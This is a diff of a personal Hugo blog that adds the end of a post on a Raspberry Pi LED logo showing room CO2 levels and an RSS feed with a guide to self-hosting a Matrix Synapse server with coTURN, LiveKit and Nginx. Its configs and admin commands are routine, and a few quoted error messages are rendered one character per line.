    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +]]>
    \ No newline at end of file diff --git a/public/tags/soldering/page/1/index.html b/public/tags/soldering/page/1/index.html new file mode 100644 index 0000000..51ab5f7 --- /dev/null +++ b/public/tags/soldering/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/soldering/ + \ No newline at end of file diff --git a/public/tags/synapse/index.html b/public/tags/synapse/index.html new file mode 100644 index 0000000..018fb6f --- /dev/null +++ b/public/tags/synapse/index.html @@ -0,0 +1,12 @@ +Synapse | AlipourIm journeys +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 9 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/synapse/index.xml b/public/tags/synapse/index.xml new file mode 100644 index 0000000..c1f99b2 --- /dev/null +++ b/public/tags/synapse/index.xml @@ -0,0 +1,639 @@ +Synapse on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/synapse/Recent content in Synapse on AlipourIm journeysHugo -- 0.146.0enTue, 26 Aug 2025 00:00:00 +0000Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    + + + +
    + + + +D +a +t +a +b +a +s +e +h +a +s +i +n +c +o +r +r +e +c +t +c +o +l +l +a +t +i +o +n +o +f +' +e +n +_ +U +S +. +u +t +f +8 +' +. +S +h +o +u +l +d +b +e +' +C +' + + + + +
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    + + + +
    + + + +E +R +R +O +R +: +U +n +k +n +o +w +n +b +o +o +l +e +a +n +v +a +l +u +e +: +# +l +o +g +t +o +j +o +u +r +n +a +l +d +/ +s +y +s +l +o +g +. +Y +o +u +c +a +n +u +s +e +o +n +/ +o +f +f +, +y +e +s +/ +n +o +, +1 +/ +0 +, +t +r +u +e +/ +f +a +l +s +e +. + + + + +
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    + + + +
    + + + +A +F +c +e +c +t +e +c +s +h +s +- +A +C +P +o +I +n +t +c +r +a +o +n +l +n +- +o +A +t +l +l +l +o +o +w +a +- +d +O +r +h +i +t +g +t +i +p +n +s +: +c +/ +a +/ +n +r +n +t +o +c +t +. +e +c +x +o +a +n +m +t +p +a +l +i +e +n +. +c +m +o +o +m +r +/ +e +s +f +t +u +h +/ +a +g +n +e +t +o +n +d +e +u +e +o +r +t +i +o +g +i +a +n +c +. +c +e +s +s +c +o +n +t +r +o +l +c +h +e +c +k +s +. + + + + +
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
